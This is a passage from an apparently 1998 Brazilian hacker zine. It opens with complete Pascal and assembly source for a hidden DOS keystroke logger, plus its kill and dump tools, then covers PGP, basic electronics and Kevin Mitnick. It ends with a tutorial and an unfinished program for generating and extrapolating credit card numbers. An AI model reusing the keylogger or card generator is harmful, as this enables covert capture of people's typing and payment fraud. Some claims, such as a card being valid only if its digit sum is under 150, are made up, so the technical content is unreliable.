{$M 1024, 0, 2100}
program ComboKey;

uses Dos; { For Keep() }

const
     DUMP_BUFFER = $C0;
     KILL_RECORDER = $C1;
     GET_INFO = $C2;

     BUFSIZE = 2048;     { In bytes, NOT paragraphs! }
     DISPLAY_MAX = 100;
     combo: Array[0..3] of Byte = ( 01, 01, 19, 74 );

type
     PBuf = ^TBuf;
     TBuf = Array[0..BUFSIZE-1] of Byte;
     PInfoRec = ^TInfoRec;
     TInfoRec = record
          buffer_size: Word;  { Word is 16 bit, unsigned }
          overwrite: Word;
          buffer_ptr: Word;
     end;

var
     old9o, old9s: Word; { Must be in this order! }
     wptr: Word absolute $40:$1c; { Ptr to next avail slot in kbd buffer }
     q_top: Word absolute $40:$80;
     q_bot: Word absolute $40:$82;
     buffer: PBuf;
     buf_ptr: Word;
     overwrite_ctr: Word;
     last_wptr: Word;
     tumbler: Byte; { How many numbers in the combo right so far? }

procedure SetVector( int: Byte; s, o: Word);
     begin
          asm
               push ds
               cli
               mov  ah, 25h
               mov  al, int
               mov  ds, s
               mov  dx, o
               int  21h
               sti
               pop  ds
          end;
     end;

procedure NewInt09(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
interrupt;
     var
          offset: Word;
          c: Byte;
          l: Word;
          ctr: Word;
     begin
          { First call the old handler.  Do the pushf,  cause this is an
            interrupt handler. }
          asm
               pushf
               call dword ptr [old9o]   { Since old9s is next, it works }
               cli
          end;

          { This isn't a press, but a release - ignore it. }
          if last_wptr = wptr then Exit;

          last_wptr:=wptr;

          { Did the queue just wrap? }
          if (wptr = q_top) then offset:=q_bot-2
          else offset:=wptr-2;

          Inc(buf_ptr);
          if (buf_ptr = BUFSIZE) then begin { we'd write it, but oh well. }
               buf_ptr:=0;
               Inc(overwrite_ctr);
          end;

          buffer^[buf_ptr]:=Mem[$40:offset];

          asm
               sti
          end;
     end;

{ Here's the interface system.  Don't bother saving the old $FF,
cause who uses it anyway?! }
procedure NewIntFF(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
interrupt;
     var
          command: Word;
          res, rdi: Word;
          infoptr: PInfoRec;
          l: Word;
     begin
          command:=AX;
          res:=ES;
          rdi:=DI;

          if tumbler=4 then begin  { we have a winner... }
          tumbler:=0;
               asm
                    sti
               end;

               case command of
                    DUMP_BUFFER: begin
                         asm
                                   push ds
                              mov  cx, BUFSIZE
                              mov  es, [res]
                              mov  di, [rdi]
                              mov  ax, [WORD PTR buffer+2]
                              mov  ds, ax
                              mov  ax, [WORD PTR buffer]
                              mov  si, ax

                              cld
                              rep  movsb
                              pop  ds
                         end;
                    end;

                    KILL_RECORDER: begin
                         SetVector(9, old9s, old9o);
                    end;

                    GET_INFO: begin
                         asm
                              mov  es, [res]
                              mov  di, [rdi]
                              mov  ax, BUFSIZE
                              mov  es:[di], ax
                              mov  ax, [overwrite_ctr]
                              mov  es:[di+2], ax
                              mov  ax, [buf_ptr]
                              mov  es:[di+4], ax
                         end;
                    end;
               end;

               asm
                    cli
               end;
          end;

          if command=combo[tumbler] then Inc(tumbler)
          else tumbler:=0;
     end;

begin
     asm
          mov  ah, $35
          mov  al, 9
          int  $21

          mov  ax, es
          mov  old9s, ax
          mov  old9o, bx
     end;

     SetVector(9, Seg(NewInt09), Ofs(NewInt09));
     SetVector(255, Seg(NewIntFF), Ofs(NewIntFF));

     buffer:=New(PBuf);
     buf_ptr:=0;
     overwrite_ctr:=0;
     last_wptr:=0;
     tumbler:=0;

     Keep(0);
end.



-------------------------------------------------------------------------------

{ Kills the keyrecorder }
program Kill;

const
     combo0 = 01;
     combo1 = 01;
     combo2 = 19;
     combo3 = 74;

     KILL_RECORDER = $C1;

procedure ResetCombo;
     var
     l: Word;
   begin
     for l:=1 to 4 do asm
          mov  ax, 0
         int   $ff
      end;
   end;

procedure DoCombo;
     begin
          asm
               mov  ax, combo0
               int  $ff
               mov  ax, combo1
               int  $ff
               mov  ax, combo2
               int  $ff
               mov  ax, combo3
               int  $ff
          end;
     end;

begin
     ResetCombo;
     DoCombo;
     asm
          mov  ax, KILL_RECORDER
          int  $ff
     end;
end.


-------------------------------------------------------------------------------

{ Syntax:
     DUMP DESTFILE.FIL

  This'll dump the buffer information and contents to the file.  If 
  no file is given, it goes to the screen. }

program Dump;

const
     combo0 = 01;
     combo1 = 01;
     combo2 = 19;
     combo3 = 74;

     DUMP_BUFFER = $C0;
     GET_INFO = $C2;

type
     PInfoRec = ^TInfoRec;
     TInfoRec = record
          buffer_size: Word;
          overwrite: Word;
          buffer_ptr: Word;
     end;

var
     info: TInfoRec;
     buffer: Array[0..8191] of Byte;
     l: Word;
     f: Text;

procedure ResetCombo;
     var
          l: Word;
     begin
          for l:=1 to 4 do asm
               mov  ax, 0
               int  $ff
          end;
     end;

procedure DoCombo;
     begin
          asm
               mov  ax, combo0
               int  $ff
               mov  ax, combo1
               int  $ff
               mov  ax, combo2
               int  $ff
               mov  ax, combo3
               int  $ff
          end;
     end;

begin
   Assign(f, ParamStr(1));
   Rewrite(f);

   ResetCombo;

     DoCombo;
     asm
          mov  ax, SEG info
          mov  es, ax
          mov  di, OFFSET info
          mov  ax, GET_INFO
          int  $ff
     end;

     writeln(f,'Buffer size: ',info.buffer_size);
     writeln(f,'Buffer ptr:  ',info.buffer_ptr);
     writeln(f,'Overwrite:   ',info.overwrite);

     DoCombo;
     asm
          mov  ax, SEG buffer
          mov  es, ax
          mov  di, OFFSET buffer
          mov  ax, DUMP_BUFFER
          int  $ff
     end;

     for l:=0 to info.buffer_ptr do begin
          write(f, Char(buffer[l]));
          if buffer[l] = 13 then write(f,#10);
     end;
     
     Close(f);
end.
---------------------------[ Corte aqui ]------------------------------------

Bom espero que tenham gostado do texto pois tentei ser o mais claro possivel.
Falow!
                                                        QuIcK_DeAtH
                                                        ~~~~~~~~~~~
[EOF]


   1998, QuIcK_DeAtH - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                              06  -  TUTORIAL PGP
                             -=-=-=-=-=-=-=-=-=-=-  

        OK, esse   um assunto que j foi descutido muitas vezes, inclusive
em outros zines hackers. O problema  que um tutorial voltado a PGP j foi
pedido diversas vezes pelos leitores da hackPHR, e foi prometido que estaria 
na edicao 4.0. Bom, a est, sobrou para mim faze-lo. :=)
        Primeiro vamos  explicao de como funciona o PGP. O bsico  o se-
guinte:

        Quando vc instala o PGP ele gera um par de chaves exclusivo seu: suas
chaves secreta e pblica. A pblica vc distribui para todos que queiram escre-
ver mensagens em PGP pra vc. A secreta vc guarda. Pois bem, para encriptar a
mensagem, vc precisa da chave pblica do destinatario. Porm, s quem tem as
chaves pblica e secreta podem desencripta-la. Exemplificando:

        ENCRIPTAR-> VC PRECISA S DA CHAVE PBLICA DO DESTINATRIO
        DESENCRIPTAR-> VC PRECISA DAS CHAVES PBLICAS E SECRETA

        Ento, qualquer um pode escrever uma mensagem em PGP pra vc. Basta ter
sua chave publica. Mas s vc pode ler a mensagem encriptada, pois s vc tem a
chave secreta.

        Procedimentos para instalao:
        ------------------------------
                                      
        A primeira coisa a se fazer  conseguir a ultima versao do PGP(logico).
Se voc nao sabe onde obte-lo v em um bom site de busca ftp... no  difcil
acha-lo.
        Para instalar, basta descompactar o pacote em um diretorio do seu HD.
Tomemos como exemplo "C:\PGP\". Aps a descompactao, edite seu autoexec.bat
e inclua a seguinte linha: SET TZ=0
        No se preocupe com essa variavel.  s uma referncia ao fuso horrio
ou coisa assim, nada que atrapalhe, mas  indispensvel incluir essa linha no
seu autoexec.bat.
        Pois bem, depois disso a prxima coisa a fazer  gerar seu par de cha-
ves, a secreta e a publica. Digite: PGP -kg
        Sero feitas uma srie de perguntas inclusive a respeito do seu ID
que normalmente  seu nome seguido do seu mail entre "<" e ">". Exemplo:
Cebola <cebola_br@hotmail.com>
        Outra pergunta  a respeito do tamanho da chave. Escolha a de 1024 by-
tes, a mais segura. O programa pedir uma frase, que ser sua senha. Anote
essa frase porque voc precisar dela toda vez que precisar de desencriptar
uma mensagem. Depois ser pedido que voc digite qualquer coisa no teclado
s para o programa gerar seu  par de chaves. As chaves so geradas a partir
dos micro-intervalos entre as teclas que voc digitar, mas no se preocupe com
isso, somente digite qualquer coisa at o programa pedir para parar. E a, seu
par de chaves est gerado.  aconselhvel que voc faa um backup dessas cha-
ves.
        Depois, voc dever gerar um arquivo ASC(texto sem formatao) com a
sua chave pblica para distribuir. Digite: PGP -kxa SEU_ID ARQUIVO_ASC
 importante que vc no atribua extenso ao arquivo. Por exemplo:
PGP -kxa cebola <cebola_br@hotmail.com> chavepub
Ser gerado o arquivo chavepub.asc . Este arquivo que vc ir distribuir para
quem quiser te escrever mensagens em PGP.

        Comandos bsicos:
        -----------------
        
        Pronto! Seu pgp est instalado. Quando algum te der uma chave pblica
para vc escrever mensagens, salve o arquivo com um nome qualquer .ASC e inclua
essa chave no seu chaveiro com o comando PGP [arquivo]. Exemplo:
Arquivo mandrack.asc contendo a chave publica do Mandrack. Para adicionar ao
seu chaveiro: PGP MANDRACK
        O programa ir perguntar se vc quer incluir essa chave no seu chaveiro.
Lgicamente vc responde sim, quando for perguntado se vc quer atribuir uma cer-
tificao  chave, responda no. No se preocupe com isso.
        Ento para encriptar uma mensagem com a chave publica de alguem vc
deve proceder como o seguinte: PGP -ea [arquivo_texto] [chave_publica] .
Exemplo: PGP -ea ZINE.TXT MANDRACK . Isso gerar o arquivo ZINE.ASC contendo
o arquivo ZINE.TXT encriptado com a chave pblica do arquivo Mandrack.asc
        Para desencriptar uma mensagem que voc recebeu somente digite:
PGP arquivo_encriptado . Exemplo: PGP ZINE.ASC . O programa ir pedir a sua
senha, que voc colocou na instalao. Ento ir gerar o arquivo ZINE conten-
do o arquivo ZINE.ASC desencriptado.

        Bom, isso  o uso bsico do PGP. Normalmente voc no precisar mais
que esses comandos. Qualquer problema consulte a documentao(manual) que vem
com o Pretty Good Privacity.


   1998, Cebola - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                        08  -  INTRODUAO A ELETRONICA
                       -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

INTRODUCAO  ELETRONICA(PARTE 1): PRINCIPAIS COMPONENETES
-----------------------------------------------------------

        Pois ... Na ultima edicao quem cuidou desse assunto foi o Mandrack. 
Ja' que eu tambem sou aficcionado por eletronica, nessa edicao esse assunto
ficou por minha conta. O que eu vou fazer nessa minha primeira materia sobre
eletronica e' "tacar" em voces ja' uma porrada de teoria extremamente
excencial de se conhecer quando se trata de eletronica. Afinal, de que serve
voce montar aquele circuito se voce nao sabe ao menos seu funcionamento??? 
	Por isso entao o assunto hoje sao os componentes eletronicos... os 
mais importantes e os mais usados. Comecemos entao:

	Como a eletronica tem sua base na eletrica, as funcoes eletronicas sao
90% fundamentadas nos semicondutores. Semicondutores sao os materiais que 
deixam passar por eles apenas uma quantidade de corrente X. Exemplo: Todos
nos sabemos que o cobre e' um excelente condutor e que o vidro e' um isolante
(dieletrico). Um semicondutor, como o silcio e o germnio  o meio termo,
entre o condutor e o isolante.
	Os semicondutores sao amplamente empregados nos: resistores, diodos,
transistores, etc... Entao ai' vai a definicao de cada componente:

 	RESISTORES: Servem para se adicionar uma resistencia quanquer `a uma
certa corrente eletrica. Ou seja, e' um semicondutor que deixa passar so' uma
certa parte da corrente que lhe e' aplicada. E' usada para, por exemplo, 
para reduzir a corrente em um circuito. Por exemplo: vc liga diretamente um
motor eletrico `a uma bateria. A velocidade com que o motor roda depende da
corrente(medida em amperes) nele aplicada. Portanto, se voce colocar entre a
bateria e o motor um resistor adequado, o motor girara' mais devagar. A uni-
dade de resistncia internacional  o OHM, representado pela letra grega mega.

aspecto:       ___________
          --- |      |||| | -----
               -----------
                     4321


           AS LISTRAS GRAVADAS EM SEU CORPO EXPRIMEM SEU VALOR EM OHMS CON-
           FORME A TABELA SEGUINTE:(os numeros indicam as listras correspon-
           dentes)

           Cor      |  Valor             LISTRA | RELACAO
           ---      |  -----             ------ | -------
           Preto    |   0                  1    |  Primeira casa numerica
           Marron   |   1                  2    |  Segunda casa numerica
           Vermelho |   2                  3    |  Numero de zeros
           Laranja  |   3                  4    |  Tolerancia*
           Amarelo  |   4      
           Verde    |   5               Cor      | Tolerancia
           Azul     |   6               ---      | ----------   
           Violeta  |   7               Prateado |  5%
           Cinza    |   8               Dourado  |  10%
           Branco   |   9               NENHUMA  |  20% 


           Exemplo de aplicao:
           ---------------------

           Identificar o valor de um transistor que tenha a:

           1a listra: Vermelha
           2a listra: Violeta
           3a listra: Laranja
           4a listra: Dourada

           1a casa numerica : 2(vermelho)
           2a casa numerica : 7(violeta)
           Numero de zeros  : 3(laranja)
           Tolerancia       : 10%

           Valor: 27000 OHMS, 10% de tolerncia

           Exemplo de aplicao de um resistor em um circuito:
           ---------------------------------------------------


    -----------------\             ++  GIRA MAIS RAPIDO
   |                 |            ||
   | 1 Ampere(A)      --====== ||||||||
   |                           |||||||| 
  |-|_|+|---\            1 A   |||||||| <--  MOTOR ELETRICO  
  |BATE |   |                  ||||||||    
  | RIA |   |-----------=======||||||||
  |     |                      ||||||||
  |_____|

   -----------------\                          ++  GIRA MAIS DEVAGAR
   |                 |                         ||
   | 1 Ampere(A)      ---------------====== ||||||||
   |                                        |||||||| 
  |-|_|+|---\                        0,1 A  |||||||| <--  MOTOR ELETRICO  
  |BATE |   |               ____            ||||||||    
  | RIA |   |--------------|____|---======= ||||||||
  |     |                 RESISTOR          ||||||||
  |_____|                 10 OHMS


        CAPACITORES: Servem para armazenar energia eltrica. Os capacitores
so formados por dois condutores separados por um isolante(dieltrico).
Quando uma corrente  aplicada a um capacitor o capacitor armazena essa cor-
rente(dentro das suas possibilidades) at o momento certo para o uso. Para
descarregar um capacitor  s unir seus dois terminais. Toda a energia armaze-
nada escapar ento pelos seus terminais.
        Existem dois tipos de capacitores, os eletrolticos e os no-eletrol-
ticos ou comuns. No 1 tipo a polaridade(+ e -) deve ser respeitada, e essa
polaridade aparece gravada ao lado do capacitor. 

        Aparncia:

        Capacitor eletroltico      Capacitor no-eletroltico
        radial:                     cermico: (bom, era pra esse
                                    desenho ser redondo :-P ).
                                          _
        /--\                            /   \
       |\__/|                         /       \
       |+  -|                        |         |
       |+  -|                         \        /
       |\__/|                           \ __ /
       |    |                           |    |
       +    -                           |    |

                                                        
       Exemplo de aplicao:            
                                        
        /------------\
       |    /---\     | 
       |   |     |    \---------------------------|
      |-|_|+|    |                                |
      |     |    |    P1                          |
      |     |     \-----*\ S1  |------|           |
      |_____|         P2   \=--|+    -|-------=---|
                    /---*      |------|       |
                   |              C1          |
                   |                          |
                    \                        /                       
                     |                      |
                     |                      |
                     |________/\  /\  /\  __|
                                \/  \/  \/
                        _____     BOBINA
                      /       \
                     | BUSSOLA |
                      \ _____ /

      Para os que no entenderam, o desenho representa um processo de carga e
descarga de um capacitor. Quando a chave(S1) que est saindo do capacitor es-
t na posio P1, inicia-se o processo de carga do capacitor, com os dois
polos(+ e -) ligados ao capacitor. Se a chave  movida para a posio P2,
a carga do capacitor  interrompida(pois o capacitor nao recebe mais corrente
do polo +) e o polo positivo do capacitor se liga ao polo negativo do capaci-
atravs da bobina. Isso produz a descarga do capacitor imediatamente, que cria-
r uma corrente na bobina. Isso pode ser comprovado atravs de uma bussola, co-
locada ao lado da bobina. No caso, a agulha da bobina deve se mover, indicando
a presena de campo eletrico.

     Dessa vez  s. Na prxima edio da revista eu continuo com mais compo-
nentes.


   1998, Cebola - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                             09  -  KEVIN MITKICK
                            -=-=-=-=-=-=-=-=-=-=-=-  
-----------------------------------------------------------------------------
                       Kevin David Mitnick Por QuIcK_DeAtH
-----------------------------------------------------------------------------
Y0!
Esta matria, como j deu pra perceber vamos falar de Kevin Mitnick, com
certeza o mais o hacker mais famoso do mundo.

- Um pouco de Histria

Em 1981, quando Kevin Mitnick tinha 17 anos, comeou a se interessar por
informtica entrando assim em um grupo hacker de Los angeles.Sua primeira
demonstrao de habilidade foi quando entrou no computador da Monroe High
School alterando assim as notas dos cursos.

Mas Mitnick comeou a se encrencar, depois que entrou nos computadores da
defesa area do Colorado. Logo depois Kevin Mitnick ingressou no phreaking,
para obter mais informaes sobre telefonia ele conseguiu manuais e programas
de sobre vrios sistemas, entre eles COSMOS e Micro Port.

Passados assim algum tempo Mitnick se escondeu das autoridades durante o ano
de 1989, mesmo ano em que o FBI estava reunindode que Kevin Mitnick e outro
hacker chamado DiCicco haviam roubado softwares e pesquisas secretas da
Digital Equipment Corp. Devido a todas essas suspeitas a corte de Los Angeles
ordenou que Mitnick fosse preso sem a possibilidade de fianas.

- A vingana de Mitnick

Kevin D. Mitnick foi sentenciado a um ano de priso pela juiza Mariana R.
Pfaelzer. E obrigado a assistir a sesses de reabilitao, devido ao seu
"vcio" em computador.

Cumprida a pena, comearam a ocorrer coisas estranhas, o telefone da sua
liberdade condicional foi desconectado e o registro de crdito na TRW inc. de
um juiz foi inexplicavelmente alterado.

Desrespeitando a ordem da sua pena, no poder sair dos EUA, Mitnick foi a
Israel, ver alguns amigos hackers. Mais uma vez ocorreram fatos estranhos, o
hackeamento em registros dos computadores do FBI e do departamento de
Veculos dos EUA.

Sendo procurado, Mitnick desaparece mais uma vez, isso no ano de 1992.
Enquanto desaparecido, outros rastros de Kevin Mitnick foram achados dessa
vez nos computadores da Motorolla e de Dan Farmer Criador do famoso programa
SATAN, e as caractersticas de incvaso eram as mesmas de Kevin.

- Kevin Mitnick e o IP Spoofing

Mitnick ento entrou nos computadores da rede pessoal de Tsutomu Shimomura,
"especialista" em segurana de redes, mas como Shimomura tinha permanente
contato com a situao de sua rede, conseguiu descobrir que algum havia
passado por l.

Shimomura ento, conseguiu refazer os ultimos comandos executados em seu
sistema, podendo assim ver o que Kevin Mitnick tinha feito. O arquivo que mais
o chamou a ateno de Tsutomu era chamado de oki.tar.z possivelmente um
software do telefone celular Oki.

Para surpresa geral, Mitnick tinha entrado nos computadores de Tsutomu
Shimomura atravs de uma falha chamada de IP Spoofing, antes apenas
conhecidas por especialistas em segurana (Nao se sabia que os hackers j
dominavam esta tcnica).

O ataque IP Spoofing consiste em simular uma conexo local, mas fazendo uma
remota ou seja, o computador atacado pensa que o outro computador da
conexo  local e ento libera acesso de root a ele.

O comando usado por Kevin Mitnick foi o SYN, que sincroniza dois computadores
"amigos". Ese ento foi o mtodo usado por Kevin Mitnick em seus ataques.

Shimomura passou ento a scanear o IP da mquina invasora, e descobriu que
o ataque provinha da Universidade de Berne, possivelmente uma das bases de
operao de Kevin.

- Tsutomu Shimomura vs Kevin Mitnick

Num trabalho de localizao Tsutomu descobriu que Mitnick tinha vrias
outras bases, em vrios locais dos EUA, em provedores grandes dos Estados
Unidos, como a Netcom, WELL e Algumas universidades.

Ento Shimomura entrou em contato com os provedores para alert-los das
possveis invases e tentando conseguir uma permisso para ele pessoalmente
monitorar os ataques de Kevin Mitnick.

Shimomura conseguiu permisso no WELL, mas eles no tinham equipamentos para
uma monitorao mais detalhada, ento ele tentou contato com a Netcom, que
deu total permisso para Shimomura "caar" Kevin Mitnick.

Shimomura conseguiu interceptar vrias invases e conversas de IRC que Kevin
fazia. Tambm obtendo o numero do telefone de conexo que Mitnick uasava,
Tsutomu Shimomura pediu para rastrea-lo e depois de vrias tentativas,
descobriu que as ligaes vinham do estado de Raleigh.

Ento o japa viajou at l pra pegar o mitnick, conseguiu uma ajuda do FBI
e um mandato de priso para Mitnick.

- A priso do Hacker

O FBI trouxe um rastreador de chamadas telefnicas e um Trigger Fish, que
seria usado para ouvir as conversas de Mitnick. Depois de dois dias de
monitoramento, o FBI conseguiu rastrear as conversas de Kevin Mitnick
e de outro celular tambm ligado  um modem. Diante desses fatos os agentes
do FBI resolveram invadir o apartamento de Kevin Mitnick.

L dentro encontraram Mitnick, bem diferente do que se esperava, como o
prprio Shimomura descreveu Mitnick era jovem,tinha cabelos castanhos
compridos at o ombro e no era nem magro nem gordo. Kevin Mitnick estava
sob algum tratamento mdico, pois no quarto haviam tambm vrios remdios
vendidos apenas por receita mdica, alm do computador, do celular e de uma
pasta com alguns papis, que Kevin trancou logo aps da chegada so FBI.

No dia do julgamento Kevin Mitnick e Tsutomu Shimomura se encontraram
pessoalmente e ento Kevin disse "Voc  Tsutomu!".

Depois de terminada a perseguio, ficam ainda algumas perguntas...

Quem estava atrs do outro celular?
Foi justa a priso de Kevin Mitnick?
Como ser o pximo julgamento?

S o tempo responder... mas vamos continuar apoiando o grande Condor*!

FREE KEVIN NOW!

* Condor nickname que Kevin usava.

Bibliografia:

- Contra ataque Editora Companhia das letras Tsutomu Shimomura e John Markoff
- Texto The history of Kevin Mitnick por Markus Hbner

                                                      QuIcK_DeAtH
                                                      ~~~~~~~~~~~
[EOF]
_____________________________________________________________________________

   1998, QuIcK_DeAtH - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

                     
                          09  -  CARTOES DE CREDITO
                         -=-=-=-=-=-=-=-=-=-=-=-=-=-

        Bom, essa foi a materia que eu escrevi por ltimo, estava muito atrasa-
do, no ia dar tempo de acabar at o dia 1, ento o PENSADOR que est escreven-
do sobre anarquia me deu uma mo e escreveu essa matria para mim. Porm, eu
fiz o programa a partir da matria dele. Exemplificando: 1 vem a matria que
o Pensa fez, depois vem o source do programa que eu fiz. O programa foi testa-
do vrias vezes e funciona perfeitamente.

Materia do pensa:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
     \\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\//
         ALGORTMO PARA VERIFICAO DE NMEROS DE CARTO DE CRDITO 
        //\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\

                             -=VERIFICAO=-

Para entender melhor o mtodo, usaremos o nmero correto (embora fictcio)
4013 2002 0977 4812, o qual usaremos ao longo de todo texto.

Para verificar se um carto de crdito  vlido, usaremos este simples
algortmo:

   + Os quatro primeiros nmeros indicam a qual banco pertence o carto.
   
   + Em nosso exemplo: Pertence ao banco 4013 (Bank of Baltimore).
   


   * O primeiro nmero identifica o tipo de carto:

   - 3 carto que pertence ao AMERICAN EXPRESS
   - 4 carto que pertence ao VISA
   - 5 carto que pertence ao MASTERCARD
   - 6 carto que pertence ao DISCOVER

   Em nosso exemplo: 4 - carto VISA. ( bem usado no Brasil).

   Agora identificaremos TODOS os nmeros que ocupam uma posio MPAR
   no Carto abaixo:
   + Em nosso exemplo:  4013 2002 0977 4812
                        ^ ^  ^ ^  ^ ^  ^ ^

   Procederemos da seguinte maneira:
   - Cada um destes nmeros(os que ocupam pos. MPAR) se multiplica por dois ;
   - Se o nmero resultante for MENOR que nove, no se modifica ;
   - Se o nmero resultante for MAIOR que nove, subtrai-se nove ;

   + Em nosso exemplo:


 ->  4 * 2 = 8, como  menor que nove, NO  modificado.
     0, ocupa posio par,   NO  modificado.
 ->  1 * 2 = 2, menor que 9, NO  modificado.
     3, ocupa posio par,   NO  modificado.
 ->  2 * 2 = 4, menor que 9, NO  modificado.
     0, ocupa posio par,   NO  modificado.
 ->  0 * 2 = 0, menor que 9, NO  modificado.
     2, ocupa posio par,   NO  modificado. 
 ->  0 * 2 = 0, menor que 9, NO  modificado.
     9, ocupa posio par,   NO  modificado.  
 ->  7 * 2 = 14, MAIOR que 9. Subtrai-se 9: 14 - 9 = 5, agora, usa-se o 5
     7, ocupa posio par,   NO  modificado. 
 ->  4 * 2 = 8 menor que 9,  NO  modificado.
     8, ocupa posio par,   NO  modificado. 
 ->  1 * 2 = 2, menor que 9, NO  modificado.
     2, ocupa posio par,   NO  modificado. 

              Agora temos o seguinte nmero: 8023 4002 0957 8822
              (Caso vc no entendeu, esse nmero  o resultado das
              operaes feitas acima, apenas trocando-os pelo resul
              tado obtidos nas operaes.)
   Agora, some os algarismos obtidos do novo carto.
   + Em nosso exemplo:
     8+0+2+3+4+0+0+2+0+9+5+7+8+8+2+2 = 60

 * GOTCHA! Se o nmero resultante  mltiplo de 10 (X Mod 10=0) e
   tambm menor que 150,  um carto vlido.
   + Em nosso exemplo: 60 Mod 10 = 0 & 60 < 150,
     ento 4013 2002 0977 4812  um nmero VISA vlido, pertencente
     ao Bank of Baltimore (Cod. 4013).

VERIFICAO: CONCLUDA.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

            P      E       N       S       A       D       O       R
        \\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\//
           ALGORTMOS DE CRIAO E EXTRAPOLAO DE CARTES DE CREDITO
          //\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\


                                  -=CRIAO=-
                               

      Queremos criar um Visa, do banco 4552, por exemplo. J temos os 4
      primeiros nmeros:

  4552   

     Agora, aleatoriamente, escolha os outros 11 nmeros. 

  Ex: Aps o 4552, eu escolhi os seguintes nmeros pra completar:
  4552 0931 2453 671.

    Execute agora o algortimo de verificao de cc descrito no incio do
    documento. (no vou escrever tudo denovo, a s esto os resultados!)
        4 = 8
        5      
        5 = 1
        2
        0
        9
        3 = 6
        1
        2 = 4
        4
        5 = 1
        3
        6 = 3
        7
        1 = 2    Fazemos a soma: 57

Agora calculamos um nmero para que a soma possa tornar-se um mltiplo de 10,
ou seja, o ltimo nmero deve ser um 0.
Em nosso caso o nmero  o 3 pra somar com 57 e obter 60 (final 0 lembra-se?!)

  4552 0931 2453 6713
  Se a soma em questo j  um mltiplo de 10, o algortimo deve ser um 0.

CRIAO: CONCLUDA


                            -=EXTRAPOLAO=-
  

Temos o nmero VLIDO de um carto, por exemplo: 4552 0931 2453 6714
e queremos obter vrios nmeros a partir deste:

Escolha os nmeros que permanecero:
4552 0931 2453 6714 -> Normalmente para que se faa a extrapolao 
^^^^ ^^^^              deve-se manter pelo menos o cdigo do banco.

Agora temos: 4552 0931  

Escolha novamente os prximos nmeros:
OBS: A ltima seqncia agora, deve ter 3 dgitos como um carto comum,
apenas NO acrescente um quarto nmero.
4552 0931 1248 960.

Agora calcula-se o algortimo com a frmula de GERAO:

 4 = 8
 5
 5 = 1
 2
 0
 9
 3 = 6
 1
 1 = 2
 2
 4 = 8
 8
 9 = 9
 6
 0    Soma = 67 e calculamos 70 - 67 = 3

4552 0931 1248 9603 Nmero extrapolado a partir do original.

E a, basta somente repetir os passos da extrapolo acima pra gerar
vrios e vrios nmeros de CC. (CC no tem nada a ver com C++ Lamah!)

Simples conhecimentos em linguagem de programao permitem o desenvolvimento
de um programa para esses fins.

EXTRAPOLAO: CONCLUDA

Edio que vem, tem + Pensador. 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

PROGRAMA GERADOR FEITO POR MIM:
-------------------------------

------------------------- INICIO DO CODIGO ---------------------------

Program gerador_CC;
uses crt;
var banco,cartao,cabecalho: string;
    escolha,final: char;
    numero,i,erro,aux: integer;
    resultado: string;

label escolhe;

function gera: string;
var numeroS,expressao,somaS: string;
    impar: array[1..15] of string;
    finalS: string;
    i,inteiro,erro,soma,valor,final: integer;
begin
  randomize;
  expressao:=cabecalho;
  for i:=1 to 11 do
  begin
    write('.');
    numero:=random(9);
    str(numero,numeroS);
    expressao:=expressao+numeroS;
  end;
  i:=1;
  {checa somente as posicoes impares}
  while i<16 do
  begin
    write('.');
    impar[i]:=copy(expressao,i,1);
    val(impar[i],inteiro,erro);
    if inteiro*2>9 then inteiro:=inteiro-9;
    str(inteiro,impar[i]);
    i:=i+2;
  end;
  for i:=1 to 15 do
  begin
    val(impar[i],valor,erro);
    soma:=soma+valor;
    write('.');
  end;
  str(soma,somaS);
  finalS:=copy(somaS,length(somaS),1);
  if finalS<>'0'then
  begin
    val(finalS,final,erro);
    final:=10-final;
    str(final,finalS);
  end;
  expressao:=expressao+finalS;
  gera:=expressao;
end;

begin
 escolhe:
  clrscr;
  textcolor(1);
  writeln('HACKPHR GROUP CREDIT CARD NUMBER GENERATOR');
  writeln('--COPYRIGHT(C) BY CEBOLA - HACKPHR GROUP--');
  writeln('******************************************');
  writeln;
  textcolor(7);
  writeln('-------- CARTO --------');
  writeln('');
  writeln('1. AMERICAN EXPRESS');
  writeln('2. VISA');
  writeln('3. MASTERCARD');
  writeln('4. DISCOVER');
  writeln('');
  writeln('------------------------');
  writeln('');
  write('FAA SUA ESCOLHA:');
  escolha:=readkey;
  if escolha='1' then
     cartao:='3'
     else if escolha='2' then
             cartao:='4'
             else if escolha='3' then
                     cartao:='5'
                     else if escolha='4' then
                             cartao:='6'
                             else begin
                                    writeln('VOC DEVE ESCOLHER ENTRE 1 E 4!');
                                    goto escolhe;
                                  end;
  writeln;
  writeln;
  write('DIGITE O NUMERO DO BANCO(DEFAULT 013): ');
  readln(banco);
  if banco='' then banco:='013';
  {checa se um valor vlido foi digitado}
  if length(banco)<>3 then
  begin
